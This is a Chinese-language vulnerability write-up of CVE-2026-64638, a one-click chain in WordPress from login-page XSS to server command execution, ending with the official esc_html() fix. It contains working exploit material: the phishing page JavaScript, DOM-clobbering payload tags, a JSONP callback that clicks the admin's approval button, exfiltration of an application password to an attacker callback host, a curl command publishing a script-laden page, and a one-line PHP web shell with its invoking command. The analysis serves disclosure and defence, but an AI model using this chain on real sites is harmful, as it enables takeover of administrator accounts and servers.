XSS2Shell:CVE-2026-64638 WordPress 1 Click XSS to RCE

Make XSS Great Again

Intro

CVE-2026-64638(XSS2Shell)是 WordPress 登录页上的预认证反射型 XSS:攻击者通过钓鱼页,就能在从”一个 < area id=ajaxurl> 标签”走到”在受害者服务器上执行任意命令”。漏洞根源不是某个危险的 PHP 函数,而是 PHP strip_tags() 与 KSES 两个 HTML 解析器对 < 空格 的认知分歧;整条链把 DOM Clobbering、JSONP、SOME、REST API、插件上传五段技术拼成了一条完整的 XSS → RCE 流水线。

CVE 类型 评分 影响版本范围 修复版本
CVE-2026-64638 1 Click XSS → RCE(XSS2Shell) 8.9 High 4.7.0 ~ 7.0.2(约 5 亿站点) 7.0.3(2026-08-06,回移植到 4.7 起全部维护分支)

漏洞根源:strip_tags 与 KSES 的解析分歧

整条链的起点是登录表单的 log 参数。看 WordPress 的认证流程:

1
wp_signon() → wp_authenticate() → wp_authenticate_username_password()

wp_authenticate() 会先对用户名做 sanitize_user()(非 strict 模式下内部调 wp_strip_all_tags()),但真正出问题的是登录失败后的错误信息渲染。user.php 里 invalid_username 错误把 $username 用 sprintf 原样拼进了 HTML,没有任何 esc_html():

image1

这个错误消息随后经过 login_header() → wp_admin_notice(),最终被 wp_kses_post() 白名单过滤后输出到 #login_error。也就是说:输入先被 strip_tags() 剥了一遍,输出前又被 KSES 白名单过滤——攻击者只需要找到一个两个解析器意见不一致的输入。

分歧点就在 < 后面的空格。

PHP 的 strip_tags() 把 < 后跟字母才当成标签开始,< area(带空格)不是合法标签,原样保留:

image3
wp-includes/formatting.php wp_strip_all_tags():内部就是 strip_tags()

实测:

1
2
strip_tags( '<area id=test>' );   // 被剥掉(< 后跟字母 a)
strip_tags( '< area id=test>' ); // 存活(< 后是空格)

而 KSES 的 tokenizer 对 < 后的空白非常宽容。外层 token 正则 kses.php:1209 (<[^>]*(>|$)|>) 先把 < area id=…> 整段圈出来,随后提取 tag 名的正则 kses.php:1383:

1
%^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$%

< 和标签名之间有一个 \s*——< area 被 KSES 解析成合法的 <area> 元素。而 area、div、button 全部在 $allowedposttags 白名单里:

image0
$allowedposttags 白名单开头:’a’、’abbr’、’area’ 等都在

image5
kses.php:1383:tag 名提取正则,<\s* 允许 < 后跟空白

image4
kses.php:82:’area’ => array( ‘alt’, ‘coords’, ‘href’, … ) 白名单

所以构造一个”被 strip_tags 放行、被 KSES 重建为真实 DOM”的载荷完全可行。登录失败页的 #login_error 里就出现了三个攻击者可控的真实 HTML 元素

image14
浏览器实测:POST log=< area id=ajaxurl …> 后,登录错误框里 KSES 重建出真实 DOM

攻击入口:钓鱼页 1 Click

前面解决的是”为什么能注入”,现在看攻击者怎么把它送到管理员面前。受害者点开的是攻击者的钓鱼页——伪装成”会话过期”的验证页面,按钮引导管理员进入”重新验证”流程(注意这里只能是 1 Click,因为浏览器要求 window.open 携带瞬态用户激活):

image18

点下按钮后,脚本做两件事——exploit.html 里的点击逻辑:

1
2
3
4
5
document.getElementById('start').addEventListener('click', function () {
var auth = 'http://127.0.0.1:18081/wp-admin/authorize-application.php?app_name=XSS2Shell-Demo&success_url=http://192.168.1.9:9999/callback';
window.open('http://192.168.1.9:9999/trigger.html'); // ① 开子窗口
location.href = auth; // ② 父窗口跳授权页
});

受害者点一次按钮,同时发生两件事:

1
2
父窗口(exploit.html)── location.href ──> authorize-application.php   ← 停在授权页,等人"点批准"
子窗口(trigger.html)── 自动 POST ──────> wp-login.php(XSS/JSONP 在这执行)

于是父窗口停在:

1
/wp-admin/authorize-application.php?app_name=XSS2Shell-Demo&success_url=http://192.168.1.9:9999/callback

顺带看一个边界状态:如果管理员此刻没有登录,WordPress 会把授权页 302 到 wp-login.php,redirect_to 指回授权页。但这个状态不能直接利用——父窗口停在登录表单,子窗口的 JSONP 约 3 秒后触发时 window.opener.approve 并不存在,SOME 点击会落空。所以实际利用链要求受害者已登录,父窗口直接渲染授权页、approve 按钮立即可点:

image19
管理员未登录时:wp-login.php 的 redirect_to 指回 authorize-application.php,登录后自动返回授权页

预认证 XSS:三件套注入与自动触发

子窗口(trigger.html)自动提交的登录表单,把 log 参数里的 payload 送进了 wp-login.php(第 2 章已分析它怎么穿过 strip_tags 和 KSES)。失败页渲染后,#login_error 里 KSES 重建出三个元素——它们不是随便选的:

1
2
3
< area id=ajaxurl href="http://127.0.0.1:18081/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1">
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

image2
attacker/server.js 里的 payload 三件套

  • < area id=ajaxurl href=…>:DOM Clobbering 用,劫持全局变量 ajaxurl,让 jQuery 把请求发到攻击者控制的 URL(机制见后);
  • < div id=color-picker class=reset-pass-submit>:命中 user-profile.js 的自动密码生成逻辑(见下);
  • < button class=”wp-generate-pw color-option”>:既是自动触发的目标,又挂在 #color-picker 的 click 委托下,作为真正发出 $.post( ajaxurl ) 的触发器。

三个标签的排列在 KSES 重建后进入 DOM 的真实结构是嵌套的:

1
2
3
4
<area id="ajaxurl" href="http://127.0.0.1:18081/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1">
<div id="color-picker" class="reset-pass-submit">
<button class="wp-generate-pw color-option">X</button>
</div>

这个嵌套是触发链的命门:621 行的自动点击和 529 行的委托都要求 button 是 div 的子元素(怎么同时命中的,见下文巧思);area 只需同处一个文档、平级即可劫持 ajaxurl。

三个元素就位后,触发是自动的:wp-login.php 无条件加载了 user-profile 脚本——登录页同时承载密码重置流程,所以这个本应在后台用户资料页才用的脚本在登录页也存在:

image6
wp-login.php:1516 无条件 wp_enqueue_script( ‘user-profile’ )

image7
user-profile.js:620:页面加载后如果存在 .reset-pass-submit,自动 .trigger(‘click’) 点下 .wp-generate-pw 按钮

于是链子自动跑起来:

  1. 页面加载,$( ‘.reset-pass-submit’ ).length 为真 → 自动 click 我们的 button.wp-generate-pw;
  2. 该按钮带有 color-option class,命中 #color-picker 上的 click 委托;
  3. 委托回调执行 $.post( ajaxurl, {…} ),ajaxurl 已被 <area id=ajaxurl> 劫持,请求打到攻击者控制的 URL。

巧思:user-profile.js 里 ajax 调用不止一处,但其他调用要么绑在具体按钮上等真人点击,要么走 wp.ajax.post()——读的是 wp 全局对象,不受 DOM Clobbering 影响;唯独 .color-option 委托回调是无条件的 $.post( ajaxurl ),读的正是可被劫持的全局变量。于是同一个按钮叠两个类,同时命中两个本不相干的开发者选择器:620 行自动点击要找的 button.wp-generate-pw(密码重置逻辑),529 行委托要匹配的 .color-option(配色逻辑)——把两个风马牛不相及的功能桥接成一条零交互的攻击链。

image8
user-profile.js:529-566:#color-picker 委托 .color-option click → 回调里 $.post( ajaxurl, … )

DOM Clobbering:劫持 ajaxurl

<area id=ajaxurl href=…> 就是 DOM Clobbering:id 属性让元素变成 window.ajaxurl(named property),而 HTMLAreaElement 的 href 属性让 jQuery 拿到完整 URL。jQuery 里 s.url = (( url || s.url || location.href ) + “”)——对元素做字符串拼接,触发 toString(),HTMLAreaElement.toString() 返回的就是 href:

image9
jquery.js:9353:s.url = ( ( url || s.url || location.href ) + “” ),对 DOM 元素做 + “” 拿到 href

于是 $.post 实际请求的是:

1
http://127.0.0.1:18081/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1

JSONP:同源执行

这是 WordPress REST API 的 JSONP 端点(默认开启 rest_jsonp_enabled)。三个参数各有用处:

  • _method=GET:jQuery 的 POST 被 REST 当成 GET 处理(REST 支持方法覆盖),绕过 _jsonp 只在 GET 生效的限制;
  • jsonp=window.opener.approve.click:回调名,wp_check_jsonp_callback() 只校验 [a-zA-Z0-9.],点号可用,所以可以传属性链;
  • _envelope=1:REST 把 401 之类的错误包成外层 200,jQuery 只检查外层状态码。

class-wp-rest-server.php:316 直接取 $_GET[‘_jsonp’]:

image10
class-wp-rest-server.php:316:jsonp_callback 取自 $_GET['_jsonp']

REST 返回的 Content-Type 是 application/javascript,回调名原样拼进响应体(/**/ 前缀是官方防 JSONP Flash 攻击的惯例):

image17
class-wp-rest-server.php:563:JSONP 分支把回调名原样 echo 进响应体

curl 实测响应是:

1
/**/window.opener.approve.click({...})

关键点:这个响应来自 WordPress 源,jQuery 的 dataType 嗅探正则 \b(?:java|ecma)script\b 命中 application/javascript,于是用 globalEval() 在当前页面上下文执行——而当前页面是 wp-login.php,属于 WordPress 源。子窗口 origin 变成了 WordPress

image15
浏览器实测:JSONP 响应在 wp-login.php 上下文中执行

SOME:隔空点击批准按钮

SOME(Same-Origin Method Execution)核心思路:攻击者页面 window.open 打开受害者站的窗口,页面源一旦变成受害者源(这里是 JSONP 注入),子窗口就能通过 window.opener 反过来操纵父窗口

现在两扇窗都就位了:父窗口停在授权页(第 3 章),子窗口带着 WordPress 源的执行权(第 6 章)。

父窗口打开的就是这张”应用授权”页——攻击者伪装成会话过期的验证流程,诱导管理员授权一个叫 XSS2Shell-Demo 的”应用”。页面底部就是 id=approve 的提交按钮(红框),也就是 SOME 要隔空点击的目标:

image11

authorize-application.php 把按钮的 name 和 id 都写死了:

image21
authorize-application.php:271:submit_button( … ‘approve’, … ),第三个参数同时成为按钮的 name 和 id

id 属性会让元素注册成该窗口的命名属性(named property),所以 window.opener.approve 精确解析到父窗口里这个提交按钮,.click() 即触发表单提交——JSONP 执行 window.opener.approve.click(),跨窗口点下父窗口的批准按钮。管理员从头到尾没碰过鼠标,应用就授权成功了。服务端 $_POST['approve'] 触发 WP_Application_Passwords::create_new_application_password(),然后 wp_redirect( success_url ) 带着应用密码跳转到攻击者回调:

回调 URL 里带着 password=<应用密码>,被攻击者服务器截获。

注意这个 password 是 WordPress 当场生成的应用密码(Application Password),独立于管理员登录密码——整条攻击链不需要、也拿不到管理员的真实密码。

image20
浏览器实测:授权成功后跳转到攻击者回调,URL 里带着 site_url、user_login 和应用密码

REST 提权:发布恶意页面

拿到应用密码后就是普通的”已认证”调用了。WordPress REST API 支持 HTTP Basic 认证(应用密码本质就是一种 Basic Auth 凭据),而且单站管理员默认拥有 unfiltered_html 权限——REST 发布页面时不会过滤 <script>:

image12
chain.js:Basic Auth + /?rest_route=/wp/v2/pages 发布带 JS 的页面

1
2
3
4
5
curl -X POST "$TARGET/?rest_route=/wp/v2/pages" \
-H "Authorization: Basic $(echo -n 'admin:<APP_PASSWORD>' | base64)" \
-H 'Content-Type: application/json' \
-d '{"title":"Security Notice","status":"publish",
"content":"<h2>Security Update Required</h2><script>...</script>"}'

插件上传 → RCE

恶意页面发布后,怎么让管理员浏览器(还登录着)去访问它?答案是不用管理员动手:SOME 成功后父窗口正停在攻击者的 callback 页,攻击者让 callback 响应直接跳转到这个恶意页面(本地复现脚本等价地做了 page.goto)——同一浏览器上下文、同一会话,页面一加载就带着 admin cookie,页内 JS 自动替管理员完成最后一步:

  1. fetch(‘/wp-admin/plugin-install.php’) 抓页面里的 _wpnonce;
  2. 构造 FormData,把恶意 xss2shell.zip 作为 pluginzip 字段;
  3. POST /wp-admin/update.php?action=upload-plugin 上传。

WordPress 插件上传会把 ZIP 解压到 wp-content/plugins/,不需要激活——解压出来的 PHP 文件直接就能通过 URL 访问。恶意插件里的 shell 就一行:

1
<?php if ( isset( $_GET['c'] ) ) system( $_GET['c'] );
1
curl "http://127.0.0.1:18081/wp-content/plugins/xss2shell/xss2shell.php?c=id"

image16

FIX

官方 commit 0d6d42e5093d(”Users: Prevent usernames from mangling HTML”)在 7.0.3 中修复,并回移植到 4.7 起所有维护分支。修复思路很朴素:所有拼进 HTML 的用户输入一律 esc_html():

image13

输出编码才是 HTML 注入的根治手段,依赖 strip_tags()/KSES 白名单做”双保险”本身就是脆弱的——两个解析器对畸形 HTML 的理解差一丁点,就是一条从登录页到 RCE 的链。